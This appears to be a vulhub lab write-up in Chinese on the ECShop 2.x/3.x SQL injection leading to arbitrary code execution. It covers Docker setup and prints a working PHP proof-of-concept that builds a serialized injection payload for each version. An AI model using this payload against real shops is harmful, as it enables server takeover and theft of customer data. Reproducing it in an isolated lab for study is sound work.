# ECShop 2.x/3.x SQL注入/任意代码执行漏洞
|
||
|
||
## 漏洞描述
|
||
|
||
ECShop是一款B2C独立网店系统，适合企业及个人快速构建个性化网上商店。系统是基于PHP语言及MYSQL数据库构架开发的跨平台开源程序。
|
||
|
||
其2017年及以前的版本中，存在一处SQL注入漏洞，通过该漏洞可注入恶意数据，最终导致任意代码执行漏洞。其3.6.0最新版已修复该漏洞，vulhub中使用其2.7.3最新版与3.6.0次新版进行漏洞复现。

|
||
## 环境搭建
|
||
|
||
执行如下命令启动ecshop 2.7.3与3.6.0：
|
||
|
||
```
|
||
docker-compose up -d
|
||
```
|
||
|
||
环境启动后，访问`http://your-ip:8080`将看到2.7.3的安装页面，访问`http://your-ip:8081`将看到3.6.0的安装页面。
|
||
|
||
依次安装二者，mysql地址填写`mysql`，mysql账户与密码均为`root`，数据库名随意填写，但2.7.3与3.6.0的数据库名不能相同。
|
||
|
||
注册普通用户user。
|
||
|
||
## 漏洞复现
|
||
|
||
POC脚本：
|
||
|
||
```php
|
||
<?php
|
||
$shell = bin2hex("{\$asd'];phpinfo\t();//}xxx");
|
||
$id = "-1' UNION/*";
|
||
$arr = [
|
||
"num" => sprintf('*/SELECT 1,0x%s,2,4,5,6,7,8,0x%s,10-- -', bin2hex($id), $shell),
|
||
"id" => $id
|
||
];
|
||
|
||
$s = serialize($arr);
|
||
|
||
$hash3 = '45ea207d7a2b68c49582d2d22adf953a';
|
||
$hash2 = '554fcae493e564ee0dc75bdf2ebf94ca';
|
||
|
||
echo "POC for ECShop 2.x: \n";
|
||
echo "{$hash2}ads|{$s}{$hash2}";
|
||
echo "\n\nPOC for ECShop 3.x: \n";
|
||
echo "{$hash3}ads|{$s}{$hash3}";
|
||
```
|
||
|
||
```
